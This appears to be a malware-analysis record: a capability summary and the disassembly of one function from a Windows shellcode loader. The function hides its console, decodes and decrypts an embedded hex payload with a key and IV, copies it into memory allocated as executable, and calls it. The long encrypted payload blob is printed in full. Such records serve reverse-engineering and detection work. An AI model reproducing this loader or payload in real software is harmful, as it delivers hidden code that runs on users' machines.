Function at 0x140002a0e
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov eax, 0x1a26c0
call fcn.140003c00
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.140002c10
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
lea rcx, str.1a0d6dc26fa39d6fac94d7b4d7585d4903edaa842b67f357dd453b52cdbbe0688e4ef1d6dc294a211094a6ccc0055ccef96a82e603d658ca90a6fcc8c5765024bcdaf80360b7dd5c0c256769e6a5802b8eded132d14e63a330fdbd7e85a71f4d0a9198f4688748ca229eae12b05b09cd53069928fe30636c9b28331e301b71017a73295dd76e165bbd495fff29b1b3eb055032104b18f8af4a5a48361e7f71aa4b17443c9ea628ab3a2a8b932f736a6e37af81cfebe27dcda417b1fc6652155c9552948d2899b0957483cdd4675b6dbf2018566354ae9660bac943a2cf5d5ec5d565af76c221441ccc975299f1acf52396afb1dd5e1ccb524cc4c738a5b41b0cf1fcf565dec5f028e872c64fe200997c2099832fe818fbefb31624788b5b81eb91d012f997c97f4880e1193007a1fc20f61962d8bcbdcf5f98854acd1c9edefb08135626afceda5e3b9d88fbecd8191c187a5b9a5c0918d2a3fc657c330440144e23ec0433e8c217e42f8732f89436e3b54594a9cff4d0fcc247b3861c4037d92a802b748d9db85c34c60b6ffab0780ec5d91e796468c606ee0e5161a18c577f16984fd9a9dfdf4f95c2e5aa856e2646be640a32a5fea5326f3a613cad7f4d6f92930505d23537025f2934d053b26bb2a0fa2ec8be3ace57e33cb38f0d3422e3cfd951c66bf4ae975e0444dd576510b6483bb8447ec434ac07ee2c614b4d8d956645b08418fc52e0c3bcdf8178a6c7da15f111f2fdf397784538d6e652030051a4cc539661a2d9adcb4a7070f4a247accb06b189cd87b6bcb2c875fad7065a209a46b04f39295ab0d6aa1edc90d4629b702db563575ecc5040b75bbf84f08a97722815f5739d5e42f055eb8d838f28e7a6d2763f527d6840021c4667d38bff2549bdb69e545c0f5fc68a5216823c75da370e8a373e74de67642672edd50bbdade4a08e6a7cc87aefd2cb9a4d2674d05c9adc131e28203a5e8208b5a354b84e5bbfceaacb3157d4245a4618f3973f5ac3dc4cb49a5e0155772fb29412a931b5ef309d433b060a05d4e7bf26d2581a50b52003a173d4302c989308dcfd92c5b70ef6c037ef089cd610071f57955ecbb4d052f147d22764dad3a9d49913c42cbe598bb605a5e8c4987fb39fc26da6cb62493c97ff7e938c52a838a589164deaf401bd14bbf0445f9150649d6e6e4903672993a675bf26651cef23d789d40ea6f0e22a1068741109914e5d9a95bf0eba9513a8441074b7da43e8178d4fb6096465b29db708e21e32ae583f2a1d8a341714a00728f717593a524064706278883bd3d06b4d45caf9a1c635ba04dd7ad20ca7b88d5dfe8fdf915eb39d370086786cbdab3236ab0f5c123c773b32d716413e718201c978cb18b7ad9733a3a131658d430dc7f4d4b098648a1099ff34c0ec6b2f2b7fd8cf9d1426b063f3353c644866e75dffe827c34de2871f8cd06b0e07a0b5000ce96d1277fbf4c2c978d8e9a2537586d8cbfbd6e393dd3a78da98f9dd704457f1ed2e97ac079c5cb6edb54f28f64433b9ba222e20ad6c9f2f32e9db60f216a1292c7b4485386944bd02fb232206fbe10334bc81eb12ac7701242e46f0135ec08e6d4682524c4a8b6b36e7220630faec77683a4999421e225740b752c88d5121d06f3f87e735d1efdb8cd8785d38d633030e3d3db86916db783bfb870a8bdfb99d77b159391b163defe229161ee2297a581e2c99c9914cff45fa272ede63b84e2d8d351746536c26822293b6d5f499a79e7890658715236fd0f02d8bf2aacbf07af80420380e98217d20a1430e17c2907f02af9fd94533d6ea0f207cc5218c12a32102ebf1af933f66484472da8bb2d32785da1adadb9fb5df89464065b3cc92de31cbb72390e465c9f0ca029fd3547f218276f558d3dc16e5718cacd2cde1b8a11829da24520cd02afd0a320a88843c8d0426a13db157c0bd18ecfa3fa8d5d61b9401900082d83f71d1795db00be263499db3ba57325cd4caaf8c3ca8a302ddc54deb74fc9f00d21359799cbfb8f8a11d4e2248c6b52399bd9a74a59d035cb5402013b10aa51a97d3c5320d1fb755e1a813b6b94e5f482e5a343d7d062d59ed56e893a5e366f6c29fb19c49c3762746239d9d1828ac6893ccb7088de4b6d4c3bba4fb013d44c70b732c98a2c74f17d534c8fc37e6344d3b08896fa2aa4a18eebaeb11322b4c701e36178636d2d9c41910bfd926406db7497122f422e1714da7ee9cf69b8fa16209c4fbfc653a0a9fc013b7b2af014c6c760f801769fda23ec978d3b9c7465f52a999c7e2517e40c1a1ef25538cf5ed215bb1b1baed5cac39e4a28428de6cdb50c8361137293bcdc791fa3351a1920d319ee7f9c31a4a087debc0730f4f21669a78ba0b46a727b0cb5ed336227925d3d15601d30aa1ddb2def404793b73e7b1603941f560aef25c7b21e7f46adc0463e026c3c7514be9846447902c9a1d61ee6a242d3c56bb4f81fe49969b5879aa54a19501ca48459c614d42bf8dd8922c5cfe0c5dcefd3d9ff3866d457c3db41b70799bcb0232d148c4e61a2341a6a84fb27611c0c480faf55c5d6aa62180fd30e30e3e55c38a535d7b2c9af54e2dc27870b5d240d2fc05d7a8d7018d63cfbe03f93a5cc3b97841df4c98fcf2a36c49947a959206db71fc2361bb209f72889360f7f2780e4827e5533fcc1d13579c22a6de397737f4da9b1f86b0e7090c6f8c4da557e139be34c136030e6f21b4d1c981b704685ffb6c867056bf97108a14f3e672008e26e22db94559ed8f55148a0e5a68eefc94d290eca9fbac22954aa32754cf4ff2646ed4201a0fb127f23c68b72890a541dcbc1c5cbfe0742054e8567b4e1ce068fa8f464f23807e2557f4cf4af6ef0fc50ea72dafd385200e
call sub.msvcrt.dll_strlen
mov dword [rbp + 0x1a263c], eax
lea rcx, str.fc6fe922eadc1fd233976423d6a7f028786c939ab062f0b2773f7795497f0731
call sub.msvcrt.dll_strlen
mov dword [rbp + 0x1a2638], eax
lea rcx, str.b8014e4520892450f6f81d6b3591d09c736ba447fe78c9f0706bb1380e56ed12
call sub.msvcrt.dll_strlen
mov dword [rbp + 0x1a2634], eax
mov eax, dword [rbp + 0x1a263c]
movsxd rdx, eax
lea rax, [rbp - 0x20]
mov r8, rdx
mov rdx, rax
lea rcx, str.1a0d6dc26fa39d6fac94d7b4d7585d4903edaa842b67f357dd453b52cdbbe0688e4ef1d6dc294a211094a6ccc0055ccef96a82e603d658ca90a6fcc8c5765024bcdaf80360b7dd5c0c256769e6a5802b8eded132d14e63a330fdbd7e85a71f4d0a9198f4688748ca229eae12b05b09cd53069928fe30636c9b28331e301b71017a73295dd76e165bbd495fff29b1b3eb055032104b18f8af4a5a48361e7f71aa4b17443c9ea628ab3a2a8b932f736a6e37af81cfebe27dcda417b1fc6652155c9552948d2899b0957483cdd4675b6dbf2018566354ae9660bac943a2cf5d5ec5d565af76c221441ccc975299f1acf52396afb1dd5e1ccb524cc4c738a5b41b0cf1fcf565dec5f028e872c64fe200997c2099832fe818fbefb31624788b5b81eb91d012f997c97f4880e1193007a1fc20f61962d8bcbdcf5f98854acd1c9edefb08135626afceda5e3b9d88fbecd8191c187a5b9a5c0918d2a3fc657c330440144e23ec0433e8c217e42f8732f89436e3b54594a9cff4d0fcc247b3861c4037d92a802b748d9db85c34c60b6ffab0780ec5d91e796468c606ee0e5161a18c577f16984fd9a9dfdf4f95c2e5aa856e2646be640a32a5fea5326f3a613cad7f4d6f92930505d23537025f2934d053b26bb2a0fa2ec8be3ace57e33cb38f0d3422e3cfd951c66bf4ae975e0444dd576510b6483bb8447ec434ac07ee2c614b4d8d956645b08418fc52e0c3bcdf8178a6c7da15f111f2fdf397784538d6e652030051a4cc539661a2d9adcb4a7070f4a247accb06b189cd87b6bcb2c875fad7065a209a46b04f39295ab0d6aa1edc90d4629b702db563575ecc5040b75bbf84f08a97722815f5739d5e42f055eb8d838f28e7a6d2763f527d6840021c4667d38bff2549bdb69e545c0f5fc68a5216823c75da370e8a373e74de67642672edd50bbdade4a08e6a7cc87aefd2cb9a4d2674d05c9adc131e28203a5e8208b5a354b84e5bbfceaacb3157d4245a4618f3973f5ac3dc4cb49a5e0155772fb29412a931b5ef309d433b060a05d4e7bf26d2581a50b52003a173d4302c989308dcfd92c5b70ef6c037ef089cd610071f57955ecbb4d052f147d22764dad3a9d49913c42cbe598bb605a5e8c4987fb39fc26da6cb62493c97ff7e938c52a838a589164deaf401bd14bbf0445f9150649d6e6e4903672993a675bf26651cef23d789d40ea6f0e22a1068741109914e5d9a95bf0eba9513a8441074b7da43e8178d4fb6096465b29db708e21e32ae583f2a1d8a341714a00728f717593a524064706278883bd3d06b4d45caf9a1c635ba04dd7ad20ca7b88d5dfe8fdf915eb39d370086786cbdab3236ab0f5c123c773b32d716413e718201c978cb18b7ad9733a3a131658d430dc7f4d4b098648a1099ff34c0ec6b2f2b7fd8cf9d1426b063f3353c644866e75dffe827c34de2871f8cd06b0e07a0b5000ce96d1277fbf4c2c978d8e9a2537586d8cbfbd6e393dd3a78da98f9dd704457f1ed2e97ac079c5cb6edb54f28f64433b9ba222e20ad6c9f2f32e9db60f216a1292c7b4485386944bd02fb232206fbe10334bc81eb12ac7701242e46f0135ec08e6d4682524c4a8b6b36e7220630faec77683a4999421e225740b752c88d5121d06f3f87e735d1efdb8cd8785d38d633030e3d3db86916db783bfb870a8bdfb99d77b159391b163defe229161ee2297a581e2c99c9914cff45fa272ede63b84e2d8d351746536c26822293b6d5f499a79e7890658715236fd0f02d8bf2aacbf07af80420380e98217d20a1430e17c2907f02af9fd94533d6ea0f207cc5218c12a32102ebf1af933f66484472da8bb2d32785da1adadb9fb5df89464065b3cc92de31cbb72390e465c9f0ca029fd3547f218276f558d3dc16e5718cacd2cde1b8a11829da24520cd02afd0a320a88843c8d0426a13db157c0bd18ecfa3fa8d5d61b9401900082d83f71d1795db00be263499db3ba57325cd4caaf8c3ca8a302ddc54deb74fc9f00d21359799cbfb8f8a11d4e2248c6b52399bd9a74a59d035cb5402013b10aa51a97d3c5320d1fb755e1a813b6b94e5f482e5a343d7d062d59ed56e893a5e366f6c29fb19c49c3762746239d9d1828ac6893ccb7088de4b6d4c3bba4fb013d44c70b732c98a2c74f17d534c8fc37e6344d3b08896fa2aa4a18eebaeb11322b4c701e36178636d2d9c41910bfd926406db7497122f422e1714da7ee9cf69b8fa16209c4fbfc653a0a9fc013b7b2af014c6c760f801769fda23ec978d3b9c7465f52a999c7e2517e40c1a1ef25538cf5ed215bb1b1baed5cac39e4a28428de6cdb50c8361137293bcdc791fa3351a1920d319ee7f9c31a4a087debc0730f4f21669a78ba0b46a727b0cb5ed336227925d3d15601d30aa1ddb2def404793b73e7b1603941f560aef25c7b21e7f46adc0463e026c3c7514be9846447902c9a1d61ee6a242d3c56bb4f81fe49969b5879aa54a19501ca48459c614d42bf8dd8922c5cfe0c5dcefd3d9ff3866d457c3db41b70799bcb0232d148c4e61a2341a6a84fb27611c0c480faf55c5d6aa62180fd30e30e3e55c38a535d7b2c9af54e2dc27870b5d240d2fc05d7a8d7018d63cfbe03f93a5cc3b97841df4c98fcf2a36c49947a959206db71fc2361bb209f72889360f7f2780e4827e5533fcc1d13579c22a6de397737f4da9b1f86b0e7090c6f8c4da557e139be34c136030e6f21b4d1c981b704685ffb6c867056bf97108a14f3e672008e26e22db94559ed8f55148a0e5a68eefc94d290eca9fbac22954aa32754cf4ff2646ed4201a0fb127f23c68b72890a541dcbc1c5cbfe0742054e8567b4e1ce068fa8f464f23807e2557f4cf4af6ef0fc50ea72dafd385200e
call fcn.140002985
mov eax, dword [rbp + 0x1a2638]
movsxd rdx, eax
lea rax, [rbp - 0x40]
mov r8, rdx
mov rdx, rax
lea rcx, str.fc6fe922eadc1fd233976423d6a7f028786c939ab062f0b2773f7795497f0731
call fcn.140002985
mov eax, dword [rbp + 0x1a2634]
movsxd rdx, eax
lea rax, [rbp - 0x60]
mov r8, rdx
mov rdx, rax
lea rcx, str.b8014e4520892450f6f81d6b3591d09c736ba447fe78c9f0706bb1380e56ed12
call fcn.140002985
lea rcx, [rbp - 0x60]
lea rdx, [rbp - 0x40]
lea rax, [rbp + 0x1a2560]
mov r8, rcx
mov rcx, rax
call fcn.140001818
lea rdx, [rbp - 0x20]
lea rax, [rbp + 0x1a2560]
mov r8d, 0x1a2575
mov rcx, rax
call fcn.1400027ee
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x1a2575
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x1a2628], rax
mov rax, qword [rbp + 0x1a2628]
mov rcx, rax
lea rax, [rbp - 0x20]
mov edx, 0x1a2575
mov r8, rdx
mov rdx, rax
call sub.msvcrt.dll_memcpy
mov rax, qword [rbp + 0x1a2628]
call rax
mov eax, 0
add rsp, 0x1a26c0
pop rbp
ret